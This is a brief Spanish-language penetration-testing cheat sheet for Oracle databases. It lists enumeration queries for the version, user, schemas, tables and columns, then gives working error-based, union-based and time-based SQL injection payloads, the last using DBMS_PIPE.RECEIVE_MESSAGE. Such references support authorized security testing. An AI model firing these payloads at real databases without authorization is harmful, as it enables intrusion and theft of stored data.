Oracle
Enumeración
Versión
# Versión
SELECT * FROM v$versionUsuarios
# Usuario actual
SELECT user FROM dualEsquemas
# Listado de esquemas
SELECT owner FROM all_tables GROUP BY ownerTablas
# Tablas de un esquema
SELECT table_name FROM all_tables where owner='<schema>' ORDER BY table_nameColumnas
# Columnas de una tabla
SELECT column_name, data_type FROM all_tab_columns WHERE table_name='<table>'Datos
# Datos de una tabla
SELECT * FROM sys.<table>
SELECT * FROM <schema>.<table>Error-based SQLi
to_char(dbms_xmlgen.getxml('select "'|| (select substr(banner,0,25) from v$version where rownum=1)||'" from sys.dual'))Union-based SQLi
Obtener información dentro de una sola columna
UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -Time-based SQLi
AND 1234=DBMS_PIPE.RECEIVE_MESSAGE('RaNdStR',10)Última actualización
¿Te fue útil?